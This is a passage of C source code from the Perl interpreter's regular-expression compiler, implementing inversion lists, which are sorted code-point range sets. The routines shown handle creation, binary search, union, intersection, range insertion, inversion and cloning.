that is always at the * beginning of the list, nor the trailing NUL */ const UV min_size = TO_INTERNAL_SIZE(1) + 1; PERL_ARGS_ASSERT_INVLIST_TRIM; assert(is_invlist(invlist)); SvPV_renew(invlist, MAX(min_size, SvCUR(invlist) + 1)); } PERL_STATIC_INLINE void S_invlist_clear(pTHX_ SV* invlist) /* Empty the inversion list */ { PERL_ARGS_ASSERT_INVLIST_CLEAR; assert(is_invlist(invlist)); invlist_set_len(invlist, 0, 0); invlist_trim(invlist); } #endif /* ifndef PERL_IN_XSUB_RE */ PERL_STATIC_INLINE bool S_invlist_is_iterating(SV* const invlist) { PERL_ARGS_ASSERT_INVLIST_IS_ITERATING; return *(get_invlist_iter_addr(invlist)) < (STRLEN) UV_MAX; } #ifndef PERL_IN_XSUB_RE PERL_STATIC_INLINE UV S_invlist_max(SV* const invlist) { /* Returns the maximum number of elements storable in the inversion list's * array, without having to realloc() */ PERL_ARGS_ASSERT_INVLIST_MAX; assert(is_invlist(invlist)); /* Assumes worst case, in which the 0 element is not counted in the * inversion list, so subtracts 1 for that */ return SvLEN(invlist) == 0 /* This happens under _new_invlist_C_array */ ? FROM_INTERNAL_SIZE(SvCUR(invlist)) - 1 : FROM_INTERNAL_SIZE(SvLEN(invlist)) - 1; } STATIC void S_initialize_invlist_guts(pTHX_ SV* invlist, const Size_t initial_size) { PERL_ARGS_ASSERT_INITIALIZE_INVLIST_GUTS; /* First 1 is in case the zero element isn't in the list; second 1 is for * trailing NUL */ SvGROW(invlist, TO_INTERNAL_SIZE(initial_size + 1) + 1); invlist_set_len(invlist, 0, 0); /* Force iterinit() to be used to get iteration to work */ invlist_iterfinish(invlist); *get_invlist_previous_index_addr(invlist) = 0; } SV* Perl__new_invlist(pTHX_ IV initial_size) { /* Return a pointer to a newly constructed inversion list, with enough * space to store 'initial_size' elements. If that number is negative, a * system default is used instead */ SV* new_list; if (initial_size < 0) { initial_size = 10; } new_list = newSV_type(SVt_INVLIST); initialize_invlist_guts(new_list, initial_size); return new_list; } SV* Perl__new_invlist_C_array(pTHX_ const UV* const list) { /* Return a pointer to a newly constructed inversion list, initialized to * point to <list>, which has to be in the exact correct inversion list * form, including internal fields. Thus this is a dangerous routine that * should not be used in the wrong hands. The passed in 'list' contains * several header fields at the beginning that are not part of the * inversion list body proper */ const STRLEN length = (STRLEN) list[0]; const UV version_id = list[1]; const bool offset = cBOOL(list[2]); #define HEADER_LENGTH 3 /* If any of the above changes in any way, you must change HEADER_LENGTH * (if appropriate) and regenerate INVLIST_VERSION_ID by running * perl -E 'say int(rand 2**31-1)' */ #define INVLIST_VERSION_ID 148565664 /* This is a combination of a version and data structure type, so that one being passed in can be validated to be an inversion list of the correct vintage. */ SV* invlist = newSV_type(SVt_INVLIST); PERL_ARGS_ASSERT__NEW_INVLIST_C_ARRAY; if (version_id != INVLIST_VERSION_ID) { Perl_croak(aTHX_ "panic: Incorrect version for previously generated inversion list"); } /* The generated array passed in includes header elements that aren't part * of the list proper, so start it just after them */ SvPV_set(invlist, (char *) (list + HEADER_LENGTH)); SvLEN_set(invlist, 0); /* Means we own the contents, and the system shouldn't touch it */ *(get_invlist_offset_addr(invlist)) = offset; /* The 'length' passed to us is the physical number of elements in the * inversion list. But if there is an offset the logical number is one * less than that */ invlist_set_len(invlist, length - offset, offset); invlist_set_previous_index(invlist, 0); /* Initialize the iteration pointer. */ invlist_iterfinish(invlist); SvREADONLY_on(invlist); return invlist; } STATIC void S_invlist_extend(pTHX_ SV* const invlist, const UV new_max) { /* Grow the maximum size of an inversion list */ PERL_ARGS_ASSERT_INVLIST_EXTEND; assert(is_invlist(invlist)); /* Add one to account for the zero element at the beginning which may not * be counted by the calling parameters */ SvGROW((SV *)invlist, TO_INTERNAL_SIZE(new_max + 1)); } STATIC void S__append_range_to_invlist(pTHX_ SV* const invlist, const UV start, const UV end) { /* Subject to change or removal. Append the range from 'start' to 'end' at * the end of the inversion list. The range must be above any existing * ones. */ UV* array; UV max = invlist_max(invlist); UV len = _invlist_len(invlist); bool offset; PERL_ARGS_ASSERT__APPEND_RANGE_TO_INVLIST; if (len == 0) { /* Empty lists must be initialized */ offset = start != 0; array = _invlist_array_init(invlist, ! offset); } else { /* Here, the existing list is non-empty. The current max entry in the * list is generally the first value not in the set, except when the * set extends to the end of permissible values, in which case it is * the first entry in that final set, and so this call is an attempt to * append out-of-order */ UV final_element = len - 1; array = invlist_array(invlist); if ( array[final_element] > start || ELEMENT_RANGE_MATCHES_INVLIST(final_element)) { Perl_croak(aTHX_ "panic: attempting to append to an inversion list, but wasn't at the end of the list, final=%" UVuf ", start=%" UVuf ", match=%c", array[final_element], start, ELEMENT_RANGE_MATCHES_INVLIST(final_element) ? 't' : 'f'); } /* Here, it is a legal append. If the new range begins 1 above the end * of the range below it, it is extending the range below it, so the * new first value not in the set is one greater than the newly * extended range. */ offset = *get_invlist_offset_addr(invlist); if (array[final_element] == start) { if (end != UV_MAX) { array[final_element] = end + 1; } else { /* But if the end is the maximum representable on the machine, * assume that infinity was actually what was meant. Just let * the range that this would extend to have no end */ invlist_set_len(invlist, len - 1, offset); } return; } } /* Here the new range doesn't extend any existing set. Add it */ len += 2; /* Includes an element each for the start and end of range */ /* If wll overflow the existing space, extend, which may cause the array to * be moved */ if (max < len) { invlist_extend(invlist, len); /* Have to set len here to avoid assert failure in invlist_array() */ invlist_set_len(invlist, len, offset); array = invlist_array(invlist); } else { invlist_set_len(invlist, len, offset); } /* The next item on the list starts the range, the one after that is * one past the new range. */ array[len - 2] = start; if (end != UV_MAX) { array[len - 1] = end + 1; } else { /* But if the end is the maximum representable on the machine, just let * the range have no end */ invlist_set_len(invlist, len - 1, offset); } } SSize_t Perl__invlist_search(SV* const invlist, const UV cp) { /* Searches the inversion list for the entry that contains the input code * point <cp>. If <cp> is not in the list, -1 is returned. Otherwise, the * return value is the index into the list's array of the range that * contains <cp>, that is, 'i' such that * array[i] <= cp < array[i+1] */ IV low = 0; IV mid; IV high = _invlist_len(invlist); const IV highest_element = high - 1; const UV* array; PERL_ARGS_ASSERT__INVLIST_SEARCH; /* If list is empty, return failure. */ if (high == 0) { return -1; } /* (We can't get the array unless we know the list is non-empty) */ array = invlist_array(invlist); mid = invlist_previous_index(invlist); assert(mid >=0); if (mid > highest_element) { mid = highest_element; } /* <mid> contains the cache of the result of the previous call to this * function (0 the first time). See if this call is for the same result, * or if it is for mid-1. This is under the theory that calls to this * function will often be for related code points that are near each other. * And benchmarks show that caching gives better results. We also test * here if the code point is within the bounds of the list. These tests * replace others that would have had to be made anyway to make sure that * the array bounds were not exceeded, and these give us extra information * at the same time */ if (cp >= array[mid]) { if (cp >= array[highest_element]) { return highest_element; } /* Here, array[mid] <= cp < array[highest_element]. This means that * the final element is not the answer, so can exclude it; it also * means that <mid> is not the final element, so can refer to 'mid + 1' * safely */ if (cp < array[mid + 1]) { return mid; } high--; low = mid + 1; } else { /* cp < aray[mid] */ if (cp < array[0]) { /* Fail if outside the array */ return -1; } high = mid; if (cp >= array[mid - 1]) { goto found_entry; } } /* Binary search. What we are looking for is <i> such that * array[i] <= cp < array[i+1] * The loop below converges on the i+1. Note that there may not be an * (i+1)th element in the array, and things work nonetheless */ while (low < high) { mid = (low + high) / 2; assert(mid <= highest_element); if (array[mid] <= cp) { /* cp >= array[mid] */ low = mid + 1; /* We could do this extra test to exit the loop early. if (cp < array[low]) { return mid; } */ } else { /* cp < array[mid] */ high = mid; } } found_entry: high--; invlist_set_previous_index(invlist, high); return high; } void Perl__invlist_union_maybe_complement_2nd(pTHX_ SV* const a, SV* const b, const bool complement_b, SV** output) { /* Take the union of two inversion lists and point '*output' to it. On * input, '*output' MUST POINT TO NULL OR TO AN SV* INVERSION LIST (possibly * even 'a' or 'b'). If to an inversion list, the contents of the original * list will be replaced by the union. The first list, 'a', may be * NULL, in which case a copy of the second list is placed in '*output'. * If 'complement_b' is TRUE, the union is taken of the complement * (inversion) of 'b' instead of b itself. * * The basis for this comes from "Unicode Demystified" Chapter 13 by * Richard Gillam, published by Addison-Wesley, and explained at some * length there. The preface says to incorporate its examples into your * code at your own risk. * * The algorithm is like a merge sort. */ const UV* array_a; /* a's array */ const UV* array_b; UV len_a; /* length of a's array */ UV len_b; SV* u; /* the resulting union */ UV* array_u; UV len_u = 0; UV i_a = 0; /* current index into a's array */ UV i_b = 0; UV i_u = 0; /* running count, as explained in the algorithm source book; items are * stopped accumulating and are output when the count changes to/from 0. * The count is incremented when we start a range that's in an input's set, * and decremented when we start a range that's not in a set. So this * variable can be 0, 1, or 2. When it is 0 neither input is in their set, * and hence nothing goes into the union; 1, just one of the inputs is in * its set (and its current range gets added to the union); and 2 when both * inputs are in their sets. */ UV count = 0; PERL_ARGS_ASSERT__INVLIST_UNION_MAYBE_COMPLEMENT_2ND; assert(a != b); assert(*output == NULL || is_invlist(*output)); len_b = _invlist_len(b); if (len_b == 0) { /* Here, 'b' is empty, hence it's complement is all possible code * points. So if the union includes the complement of 'b', it includes * everything, and we need not even look at 'a'. It's easiest to * create a new inversion list that matches everything. */ if (complement_b) { SV* everything = _add_range_to_invlist(NULL, 0, UV_MAX); if (*output == NULL) { /* If the output didn't exist, just point it at the new list */ *output = everything; } else { /* Otherwise, replace its contents with the new list */ invlist_replace_list_destroys_src(*output, everything); SvREFCNT_dec_NN(everything); } return; } /* Here, we don't want the complement of 'b', and since 'b' is empty, * the union will come entirely from 'a'. If 'a' is NULL or empty, the * output will be empty */ if (a == NULL || _invlist_len(a) == 0) { if (*output == NULL) { *output = _new_invlist(0); } else { invlist_clear(*output); } return; } /* Here, 'a' is not empty, but 'b' is, so 'a' entirely determines the * union. We can just return a copy of 'a' if '*output' doesn't point * to an existing list */ if (*output == NULL) { *output = invlist_clone(a, NULL); return; } /* If the output is to overwrite 'a', we have a no-op, as it's * already in 'a' */ if (*output == a) { return; } /* Here, '*output' is to be overwritten by 'a' */ u = invlist_clone(a, NULL); invlist_replace_list_destroys_src(*output, u); SvREFCNT_dec_NN(u); return; } /* Here 'b' is not empty. See about 'a' */ if (a == NULL || ((len_a = _invlist_len(a)) == 0)) { /* Here, 'a' is empty (and b is not). That means the union will come * entirely from 'b'. If '*output' is NULL, we can directly return a * clone of 'b'. Otherwise, we replace the contents of '*output' with * the clone */ SV ** dest = (*output == NULL) ? output : &u; *dest = invlist_clone(b, NULL); if (complement_b) { _invlist_invert(*dest); } if (dest == &u) { invlist_replace_list_destroys_src(*output, u); SvREFCNT_dec_NN(u); } return; } /* Here both lists exist and are non-empty */ array_a = invlist_array(a); array_b = invlist_array(b); /* If are to take the union of 'a' with the complement of b, set it * up so are looking at b's complement. */ if (complement_b) { /* To complement, we invert: if the first element is 0, remove it. To * do this, we just pretend the array starts one later */ if (array_b[0] == 0) { array_b++; len_b--; } else { /* But if the first element is not zero, we pretend the list starts * at the 0 that is always stored immediately before the array. */ array_b--; len_b++; } } /* Size the union for the worst case: that the sets are completely * disjoint */ u = _new_invlist(len_a + len_b); /* Will contain U+0000 if either component does */ array_u = _invlist_array_init(u, ( len_a > 0 && array_a[0] == 0) || (len_b > 0 && array_b[0] == 0)); /* Go through each input list item by item, stopping when have exhausted * one of them */ while (i_a < len_a && i_b < len_b) { UV cp; /* The element to potentially add to the union's array */ bool cp_in_set; /* is it in the the input list's set or not */ /* We need to take one or the other of the two inputs for the union. * Since we are merging two sorted lists, we take the smaller of the * next items. In case of a tie, we take first the one that is in its * set. If we first took the one not in its set, it would decrement * the count, possibly to 0 which would cause it to be output as ending * the range, and the next time through we would take the same number, * and output it again as beginning the next range. By doing it the * opposite way, there is no possibility that the count will be * momentarily decremented to 0, and thus the two adjoining ranges will * be seamlessly merged. (In a tie and both are in the set or both not * in the set, it doesn't matter which we take first.) */ if ( array_a[i_a] < array_b[i_b] || ( array_a[i_a] == array_b[i_b] && ELEMENT_RANGE_MATCHES_INVLIST(i_a))) { cp_in_set = ELEMENT_RANGE_MATCHES_INVLIST(i_a); cp = array_a[i_a++]; } else { cp_in_set = ELEMENT_RANGE_MATCHES_INVLIST(i_b); cp = array_b[i_b++]; } /* Here, have chosen which of the two inputs to look at. Only output * if the running count changes to/from 0, which marks the * beginning/end of a range that's in the set */ if (cp_in_set) { if (count == 0) { array_u[i_u++] = cp; } count++; } else { count--; if (count == 0) { array_u[i_u++] = cp; } } } /* The loop above increments the index into exactly one of the input lists * each iteration, and ends when either index gets to its list end. That * means the other index is lower than its end, and so something is * remaining in that one. We decrement 'count', as explained below, if * that list is in its set. (i_a and i_b each currently index the element * beyond the one we care about.) */ if ( (i_a != len_a && PREV_RANGE_MATCHES_INVLIST(i_a)) || (i_b != len_b && PREV_RANGE_MATCHES_INVLIST(i_b))) { count--; } /* Above we decremented 'count' if the list that had unexamined elements in * it was in its set. This has made it so that 'count' being non-zero * means there isn't anything left to output; and 'count' equal to 0 means * that what is left to output is precisely that which is left in the * non-exhausted input list. * * To see why, note first that the exhausted input obviously has nothing * left to add to the union. If it was in its set at its end, that means * the set extends from here to the platform's infinity, and hence so does * the union and the non-exhausted set is irrelevant. The exhausted set * also contributed 1 to 'count'. If 'count' was 2, it got decremented to * 1, but if it was 1, the non-exhausted set wasn't in its set, and so * 'count' remains at 1. This is consistent with the decremented 'count' * != 0 meaning there's nothing left to add to the union. * * But if the exhausted input wasn't in its set, it contributed 0 to * 'count', and the rest of the union will be whatever the other input is. * If 'count' was 0, neither list was in its set, and 'count' remains 0; * otherwise it gets decremented to 0. This is consistent with 'count' * == 0 meaning the remainder of the union is whatever is left in the * non-exhausted list. */ if (count != 0) { len_u = i_u; } else { IV copy_count = len_a - i_a; if (copy_count > 0) { /* The non-exhausted input is 'a' */ Copy(array_a + i_a, array_u + i_u, copy_count, UV); } else { /* The non-exhausted input is b */ copy_count = len_b - i_b; Copy(array_b + i_b, array_u + i_u, copy_count, UV); } len_u = i_u + copy_count; } /* Set the result to the final length, which can change the pointer to * array_u, so re-find it. (Note that it is unlikely that this will * change, as we are shrinking the space, not enlarging it) */ if (len_u != _invlist_len(u)) { invlist_set_len(u, len_u, *get_invlist_offset_addr(u)); invlist_trim(u); array_u = invlist_array(u); } if (*output == NULL) { /* Simply return the new inversion list */ *output = u; } else { /* Otherwise, overwrite the inversion list that was in '*output'. We * could instead free '*output', and then set it to 'u', but experience * has shown [perl #127392] that if the input is a mortal, we can get a * huge build-up of these during regex compilation before they get * freed. */ invlist_replace_list_destroys_src(*output, u); SvREFCNT_dec_NN(u); } return; } void Perl__invlist_intersection_maybe_complement_2nd(pTHX_ SV* const a, SV* const b, const bool complement_b, SV** i) { /* Take the intersection of two inversion lists and point '*i' to it. On * input, '*i' MUST POINT TO NULL OR TO AN SV* INVERSION LIST (possibly * even 'a' or 'b'). If to an inversion list, the contents of the original * list will be replaced by the intersection. The first list, 'a', may be * NULL, in which case '*i' will be an empty list. If 'complement_b' is * TRUE, the result will be the intersection of 'a' and the complement (or * inversion) of 'b' instead of 'b' directly. * * The basis for this comes from "Unicode Demystified" Chapter 13 by * Richard Gillam, published by Addison-Wesley, and explained at some * length there. The preface says to incorporate its examples into your * code at your own risk. In fact, it had bugs * * The algorithm is like a merge sort, and is essentially the same as the * union above */ const UV* array_a; /* a's array */ const UV* array_b; UV len_a; /* length of a's array */ UV len_b; SV* r; /* the resulting intersection */ UV* array_r; UV len_r = 0; UV i_a = 0; /* current index into a's array */ UV i_b = 0; UV i_r = 0; /* running count of how many of the two inputs are postitioned at ranges * that are in their sets. As explained in the algorithm source book, * items are stopped accumulating and are output when the count changes * to/from 2. The count is incremented when we start a range that's in an * input's set, and decremented when we start a range that's not in a set. * Only when it is 2 are we in the intersection. */ UV count = 0; PERL_ARGS_ASSERT__INVLIST_INTERSECTION_MAYBE_COMPLEMENT_2ND; assert(a != b); assert(*i == NULL || is_invlist(*i)); /* Special case if either one is empty */ len_a = (a == NULL) ? 0 : _invlist_len(a); if ((len_a == 0) || ((len_b = _invlist_len(b)) == 0)) { if (len_a != 0 && complement_b) { /* Here, 'a' is not empty, therefore from the enclosing 'if', 'b' * must be empty. Here, also we are using 'b's complement, which * hence must be every possible code point. Thus the intersection * is simply 'a'. */ if (*i == a) { /* No-op */ return; } if (*i == NULL) { *i = invlist_clone(a, NULL); return; } r = invlist_clone(a, NULL); invlist_replace_list_destroys_src(*i, r); SvREFCNT_dec_NN(r); return; } /* Here, 'a' or 'b' is empty and not using the complement of 'b'. The * intersection must be empty */ if (*i == NULL) { *i = _new_invlist(0); return; } invlist_clear(*i); return; } /* Here both lists exist and are non-empty */ array_a = invlist_array(a); array_b = invlist_array(b); /* If are to take the intersection of 'a' with the complement of b, set it * up so are looking at b's complement. */ if (complement_b) { /* To complement, we invert: if the first element is 0, remove it. To * do this, we just pretend the array starts one later */ if (array_b[0] == 0) { array_b++; len_b--; } else { /* But if the first element is not zero, we pretend the list starts * at the 0 that is always stored immediately before the array. */ array_b--; len_b++; } } /* Size the intersection for the worst case: that the intersection ends up * fragmenting everything to be completely disjoint */ r= _new_invlist(len_a + len_b); /* Will contain U+0000 iff both components do */ array_r = _invlist_array_init(r, len_a > 0 && array_a[0] == 0 && len_b > 0 && array_b[0] == 0); /* Go through each list item by item, stopping when have exhausted one of * them */ while (i_a < len_a && i_b < len_b) { UV cp; /* The element to potentially add to the intersection's array */ bool cp_in_set; /* Is it in the input list's set or not */ /* We need to take one or the other of the two inputs for the * intersection. Since we are merging two sorted lists, we take the * smaller of the next items. In case of a tie, we take first the one * that is not in its set (a difference from the union algorithm). If * we first took the one in its set, it would increment the count, * possibly to 2 which would cause it to be output as starting a range * in the intersection, and the next time through we would take that * same number, and output it again as ending the set. By doing the * opposite of this, there is no possibility that the count will be * momentarily incremented to 2. (In a tie and both are in the set or * both not in the set, it doesn't matter which we take first.) */ if ( array_a[i_a] < array_b[i_b] || ( array_a[i_a] == array_b[i_b] && ! ELEMENT_RANGE_MATCHES_INVLIST(i_a))) { cp_in_set = ELEMENT_RANGE_MATCHES_INVLIST(i_a); cp = array_a[i_a++]; } else { cp_in_set = ELEMENT_RANGE_MATCHES_INVLIST(i_b); cp= array_b[i_b++]; } /* Here, have chosen which of the two inputs to look at. Only output * if the running count changes to/from 2, which marks the * beginning/end of a range that's in the intersection */ if (cp_in_set) { count++; if (count == 2) { array_r[i_r++] = cp; } } else { if (count == 2) { array_r[i_r++] = cp; } count--; } } /* The loop above increments the index into exactly one of the input lists * each iteration, and ends when either index gets to its list end. That * means the other index is lower than its end, and so something is * remaining in that one. We increment 'count', as explained below, if the * exhausted list was in its set. (i_a and i_b each currently index the * element beyond the one we care about.) */ if ( (i_a == len_a && PREV_RANGE_MATCHES_INVLIST(i_a)) || (i_b == len_b && PREV_RANGE_MATCHES_INVLIST(i_b))) { count++; } /* Above we incremented 'count' if the exhausted list was in its set. This * has made it so that 'count' being below 2 means there is nothing left to * output; otheriwse what's left to add to the intersection is precisely * that which is left in the non-exhausted input list. * * To see why, note first that the exhausted input obviously has nothing * left to affect the intersection. If it was in its set at its end, that * means the set extends from here to the platform's infinity, and hence * anything in the non-exhausted's list will be in the intersection, and * anything not in it won't be. Hence, the rest of the intersection is * precisely what's in the non-exhausted list The exhausted set also * contributed 1 to 'count', meaning 'count' was at least 1. Incrementing * it means 'count' is now at least 2. This is consistent with the * incremented 'count' being >= 2 means to add the non-exhausted list to * the intersection. * * But if the exhausted input wasn't in its set, it contributed 0 to * 'count', and the intersection can't include anything further; the * non-exhausted set is irrelevant. 'count' was at most 1, and doesn't get * incremented. This is consistent with 'count' being < 2 meaning nothing * further to add to the intersection. */ if (count < 2) { /* Nothing left to put in the intersection. */ len_r = i_r; } else { /* copy the non-exhausted list, unchanged. */ IV copy_count = len_a - i_a; if (copy_count > 0) { /* a is the one with stuff left */ Copy(array_a + i_a, array_r + i_r, copy_count, UV); } else { /* b is the one with stuff left */ copy_count = len_b - i_b; Copy(array_b + i_b, array_r + i_r, copy_count, UV); } len_r = i_r + copy_count; } /* Set the result to the final length, which can change the pointer to * array_r, so re-find it. (Note that it is unlikely that this will * change, as we are shrinking the space, not enlarging it) */ if (len_r != _invlist_len(r)) { invlist_set_len(r, len_r, *get_invlist_offset_addr(r)); invlist_trim(r); array_r = invlist_array(r); } if (*i == NULL) { /* Simply return the calculated intersection */ *i = r; } else { /* Otherwise, replace the existing inversion list in '*i'. We could instead free '*i', and then set it to 'r', but experience has shown [perl #127392] that if the input is a mortal, we can get a huge build-up of these during regex compilation before they get freed. */ if (len_r) { invlist_replace_list_destroys_src(*i, r); } else { invlist_clear(*i); } SvREFCNT_dec_NN(r); } return; } SV* Perl__add_range_to_invlist(pTHX_ SV* invlist, UV start, UV end) { /* Add the range from 'start' to 'end' inclusive to the inversion list's * set. A pointer to the inversion list is returned. This may actually be * a new list, in which case the passed in one has been destroyed. The * passed-in inversion list can be NULL, in which case a new one is created * with just the one range in it. The new list is not necessarily * NUL-terminated. Space is not freed if the inversion list shrinks as a * result of this function. The gain would not be large, and in many * cases, this is called multiple times on a single inversion list, so * anything freed may almost immediately be needed again. * * This used to mostly call the 'union' routine, but that is much more * heavyweight than really needed for a single range addition */ UV* array; /* The array implementing the inversion list */ UV len; /* How many elements in 'array' */ SSize_t i_s; /* index into the invlist array where 'start' should go */ SSize_t i_e = 0; /* And the index where 'end' should go */ UV cur_highest; /* The highest code point in the inversion list upon entry to this function */ /* This range becomes the whole inversion list if none already existed */ if (invlist == NULL) { invlist = _new_invlist(2); _append_range_to_invlist(invlist, start, end); return invlist; } /* Likewise, if the inversion list is currently empty */ len = _invlist_len(invlist); if (len == 0) { _append_range_to_invlist(invlist, start, end); return invlist; } /* Starting here, we have to know the internals of the list */ array = invlist_array(invlist); /* If the new range ends higher than the current highest ... */ cur_highest = invlist_highest(invlist); if (end > cur_highest) { /* If the whole range is higher, we can just append it */ if (start > cur_highest) { _append_range_to_invlist(invlist, start, end); return invlist; } /* Otherwise, add the portion that is higher ... */ _append_range_to_invlist(invlist, cur_highest + 1, end); /* ... and continue on below to handle the rest. As a result of the * above append, we know that the index of the end of the range is the * final even numbered one of the array. Recall that the final element * always starts a range that extends to infinity. If that range is in * the set (meaning the set goes from here to infinity), it will be an * even index, but if it isn't in the set, it's odd, and the final * range in the set is one less, which is even. */ if (end == UV_MAX) { i_e = len; } else { i_e = len - 2; } } /* We have dealt with appending, now see about prepending. If the new * range starts lower than the current lowest ... */ if (start < array[0]) { /* Adding something which has 0 in it is somewhat tricky, and uncommon. * Let the union code handle it, rather than having to know the * trickiness in two code places. */ if (UNLIKELY(start == 0)) { SV* range_invlist; range_invlist = _new_invlist(2); _append_range_to_invlist(range_invlist, start, end); _invlist_union(invlist, range_invlist, &invlist); SvREFCNT_dec_NN(range_invlist); return invlist; } /* If the whole new range comes before the first entry, and doesn't * extend it, we have to insert it as an additional range */ if (end < array[0] - 1) { i_s = i_e = -1; goto splice_in_new_range; } /* Here the new range adjoins the existing first range, extending it * downwards. */ array[0] = start; /* And continue on below to handle the rest. We know that the index of * the beginning of the range is the first one of the array */ i_s = 0; } else { /* Not prepending any part of the new range to the existing list. * Find where in the list it should go. This finds i_s, such that: * invlist[i_s] <= start < array[i_s+1] */ i_s = _invlist_search(invlist, start); } /* At this point, any extending before the beginning of the inversion list * and/or after the end has been done. This has made it so that, in the * code below, each endpoint of the new range is either in a range that is * in the set, or is in a gap between two ranges that are. This means we * don't have to worry about exceeding the array bounds. * * Find where in the list the new range ends (but we can skip this if we * have already determined what it is, or if it will be the same as i_s, * which we already have computed) */ if (i_e == 0) { i_e = (start == end) ? i_s : _invlist_search(invlist, end); } /* Here generally invlist[i_e] <= end < array[i_e+1]. But if invlist[i_e] * is a range that goes to infinity there is no element at invlist[i_e+1], * so only the first relation holds. */ if ( ! ELEMENT_RANGE_MATCHES_INVLIST(i_s)) { /* Here, the ranges on either side of the beginning of the new range * are in the set, and this range starts in the gap between them. * * The new range extends the range above it downwards if the new range * ends at or above that range's start */ const bool extends_the_range_above = ( end == UV_MAX || end + 1 >= array[i_s+1]); /* The new range extends the range below it upwards if it begins just * after where that range ends */ if (start == array[i_s]) { /* If the new range fills the entire gap between the other ranges, * they will get merged together. Other ranges may also get * merged, depending on how many of them the new range spans. In * the general case, we do the merge later, just once, after we * figure out how many to merge. But in the case where the new * range exactly spans just this one gap (possibly extending into * the one above), we do the merge here, and an early exit. This * is done here to avoid having to special case later. */ if (i_e - i_s <= 1) { /* If i_e - i_s == 1, it means that the new range terminates * within the range above, and hence 'extends_the_range_above' * must be true. (If the range above it extends to infinity, * 'i_s+2' will be above the array's limit, but 'len-i_s-2' * will be 0, so no harm done.) */ if (extends_the_range_above) { Move(array + i_s + 2, array + i_s, len - i_s - 2, UV); invlist_set_len(invlist, len - 2, *(get_invlist_offset_addr(invlist))); return invlist; } /* Here, i_e must == i_s. We keep them in sync, as they apply * to the same range, and below we are about to decrement i_s * */ i_e--; } /* Here, the new range is adjacent to the one below. (It may also * span beyond the range above, but that will get resolved later.) * Extend the range below to include this one. */ array[i_s] = (end == UV_MAX) ? UV_MAX : end + 1; i_s--; start = array[i_s]; } else if (extends_the_range_above) { /* Here the new range only extends the range above it, but not the * one below. It merges with the one above. Again, we keep i_e * and i_s in sync if they point to the same range */ if (i_e == i_s) { i_e++; } i_s++; array[i_s] = start; } } /* Here, we've dealt with the new range start extending any adjoining * existing ranges. * * If the new range extends to infinity, it is now the final one, * regardless of what was there before */ if (UNLIKELY(end == UV_MAX)) { invlist_set_len(invlist, i_s + 1, *(get_invlist_offset_addr(invlist))); return invlist; } /* If i_e started as == i_s, it has also been dealt with, * and been updated to the new i_s, which will fail the following if */ if (! ELEMENT_RANGE_MATCHES_INVLIST(i_e)) { /* Here, the ranges on either side of the end of the new range are in * the set, and this range ends in the gap between them. * * If this range is adjacent to (hence extends) the range above it, it * becomes part of that range; likewise if it extends the range below, * it becomes part of that range */ if (end + 1 == array[i_e+1]) { i_e++; array[i_e] = start; } else if (start <= array[i_e]) { array[i_e] = end + 1; i_e--; } } if (i_s == i_e) { /* If the range fits entirely in an existing range (as possibly already * extended above), it doesn't add anything new */ if (ELEMENT_RANGE_MATCHES_INVLIST(i_s)) { return invlist; } /* Here, no part of the range is in the list. Must add it. It will * occupy 2 more slots */ splice_in_new_range: invlist_extend(invlist, len + 2); array = invlist_array(invlist); /* Move the rest of the array down two slots. Don't include any * trailing NUL */ Move(array + i_e + 1, array + i_e + 3, len - i_e - 1, UV); /* Do the actual splice */ array[i_e+1] = start; array[i_e+2] = end + 1; invlist_set_len(invlist, len + 2, *(get_invlist_offset_addr(invlist))); return invlist; } /* Here the new range crossed the boundaries of a pre-existing range. The * code above has adjusted things so that both ends are in ranges that are * in the set. This means everything in between must also be in the set. * Just squash things together */ Move(array + i_e + 1, array + i_s + 1, len - i_e - 1, UV); invlist_set_len(invlist, len - i_e + i_s, *(get_invlist_offset_addr(invlist))); return invlist; } SV* Perl__setup_canned_invlist(pTHX_ const STRLEN size, const UV element0, UV** other_elements_ptr) { /* Create and return an inversion list whose contents are to be populated * by the caller. The caller gives the number of elements (in 'size') and * the very first element ('element0'). This function will set * '*other_elements_ptr' to an array of UVs, where the remaining elements * are to be placed. * * Obviously there is some trust involved that the caller will properly * fill in the other elements of the array. * * (The first element needs to be passed in, as the underlying code does * things differently depending on whether it is zero or non-zero) */ SV* invlist = _new_invlist(size); bool offset; PERL_ARGS_ASSERT__SETUP_CANNED_INVLIST; invlist = add_cp_to_invlist(invlist, element0); offset = *get_invlist_offset_addr(invlist); invlist_set_len(invlist, size, offset); *other_elements_ptr = invlist_array(invlist) + 1; return invlist; } #endif PERL_STATIC_INLINE SV* S_add_cp_to_invlist(pTHX_ SV* invlist, const UV cp) { return _add_range_to_invlist(invlist, cp, cp); } #ifndef PERL_IN_XSUB_RE void Perl__invlist_invert(pTHX_ SV* const invlist) { /* Complement the input inversion list. This adds a 0 if the list didn't * have a zero; removes it otherwise. As described above, the data * structure is set up so that this is very efficient */ PERL_ARGS_ASSERT__INVLIST_INVERT; assert(! invlist_is_iterating(invlist)); /* The inverse of matching nothing is matching everything */ if (_invlist_len(invlist) == 0) { _append_range_to_invlist(invlist, 0, UV_MAX); return; } *get_invlist_offset_addr(invlist) = ! *get_invlist_offset_addr(invlist); } SV* Perl_invlist_clone(pTHX_ SV* const invlist, SV* new_invlist) { /* Return a new inversion list that is a copy of the input one, which is * unchanged. The new list will not be mortal even if the old one was. */ const STRLEN nominal_length = _invlist_len(invlist); const STRLEN physical_length = SvCUR(invlist); const bool offset = *(get_invlist_offset_addr(invlist)); PERL_ARGS_ASSERT_INVLIST_CLONE; if (new_invlist == NULL) { new_invlist = _new_invlist(nominal_length); } else { sv_upgrade(new_invlist, SVt_INVLIST); initialize_invlist_guts(new_invlist, nominal_length); } *(get_invlist_offset_addr(new_invlist)) = offset; invlist_set_len(new_invlist, nominal_length, offset); Copy(SvPVX(invlist), SvPVX(new_invlist), physical_length, char); return new_invlist; } #endif PERL_STATIC_INLINE STRLEN* S_get_invlist_iter_addr(SV* invlist) { /* Return the address of the UV that contains the current iteration * position */ PERL_ARGS_ASSERT_GET_INVLIST_ITER_ADDR; assert(is_invlist(invlist)); return &(((XINVLIST*) SvANY(invlist))->iterator); } PERL_STATIC_INLINE void S_invlist_iterinit(SV* invlist) /* Initialize iterator for invlist */ { PERL_ARGS_ASSERT_INVLIST_ITERINIT; *get_invlist_iter_addr(invlist) = 0; } PERL_STATIC_INLINE void S_invlist_iterfinish(SV* invlist) { /* Terminate iterator for invlist. This is to catch development errors. * Any iteration that is interrupted before completed should call this * function. Functions that add code points anywhere else but to the end * of an inversion list assert that they are not in the middle of an * iteration. If they were, the addition would make the iteration * problematical: if the iteration hadn't reached the place where things * were being added, it would be ok */ 